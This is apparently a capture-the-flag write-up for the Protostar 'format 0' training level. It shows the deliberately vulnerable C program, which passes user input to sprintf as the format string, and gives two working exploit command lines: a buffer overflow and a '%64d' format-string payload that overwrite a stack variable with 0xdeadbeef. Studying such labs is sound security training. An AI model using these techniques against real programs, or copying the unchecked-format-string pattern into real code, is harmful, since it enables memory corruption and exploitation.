PROTOSTAR : FORMAT 0

SOURCE CODE

```c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void vuln(char *string)
{
  volatile int target;
  char buffer[64];

  target = 0;

  sprintf(buffer, string);

  if(target == 0xdeadbeef) {
      printf("you have hit the target correctly :)\n");
  }
}

int main(int argc, char **argv)
{
  vuln(argv[1]);
}
```

DEBUGGING STARTS

FORMAT STRINGS VULNERABILITY

Before diving into the debugging part lets first talk about format strings vulnerability. Normally we pass characters or integers as input but if we use “%” sign , which is mainly used in a program when we are specifying format specifiers. This mainly happens if we print the input directly without checking it/mentioning any format specifiers.

In the above code sprintf(buffer, string) is vulnerable since it directly prints the input.

When we use “%” the program looks for format arguments and executes when it finds it, NOW the question is if there are NO format arguments, WHAT THEN???? The program will check the stack and print whatever is present in the stack address leaking stack address or causing memory leak. We can also use “%n” to modify stack address value which we will talk later. So lets get started.

We can solve this level using BUFFER OVERFLOW technique but that level has asked us to exploit the program using format strings vulnerability.
I have shown how to exploit using BUFFER OVERFLOW in the below image for explanation.

```
user@protostar:/opt/protostar/bin$ ./format0 $(python -c "print 'A'*64 + '\xef\xbe\xad\xde'")
you have hit the target correctly :)
user@protostar:/opt/protostar/bin$
```

NOTE: We need to pass less than 10 bytes of input and the word “deadbeef” already contains 4 bytes so we need to work accordingly.

Using python command line utility I passed the format specifier %d and making its width 64 to cover the buffer, since there are no arguments 64 spaces will be printed which will fill the buffer then I appended the string “deadbeef” in LITTLE ENDIAN.

```
user@protostar:/opt/protostar/bin$ ./format0 $(python -c "print '%64d' + '\xef\xbe\xad\xde'")
you have hit the target correctly :)
user@protostar:/opt/protostar/bin$
```